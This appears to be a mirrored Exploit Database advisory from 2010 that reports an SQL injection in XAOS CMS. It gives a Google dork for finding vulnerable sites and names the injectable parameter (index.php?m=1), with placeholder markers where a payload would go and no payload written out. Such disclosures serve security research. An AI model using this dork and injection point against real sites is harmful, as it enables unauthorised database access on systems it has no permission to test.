XAOS CMS – SQL Injection

• Exploit Database
• 126 阅读

• 作者： H-SK33PY
  日期： 2010-07-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14469/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

  # Exploit Title: XAOS CMS SQL Injection Vulnerability # Date: 25/07/2010 # Author: H-SK33PY # Software Link: http://www.xaos.it/ # Version: N/A # Google dork : Powered by XAOS systems # Platform / Tested on: linux # Category: webapplications # Code : [SQLi] & [BSQLi]     010101010101010101010101010101010101010101010101010101010 0 0 1Iranian Datacoders Security Team 2010 0 0 010101010101010101010101010101010101010101010101010101010   #BUG:#########################################################################   After find bug on the sites , run this :   http://site.com/index.php?m=1[SQLi]   If you can not inject run Blind SQL Injection   http://site.com/index.php?m=1[BSQLi]       ############################################################################# Website : http://www.datacoders.ir   Special Thanks to : ccC0d3rZzz & all iranian datacoders members   #############################################################################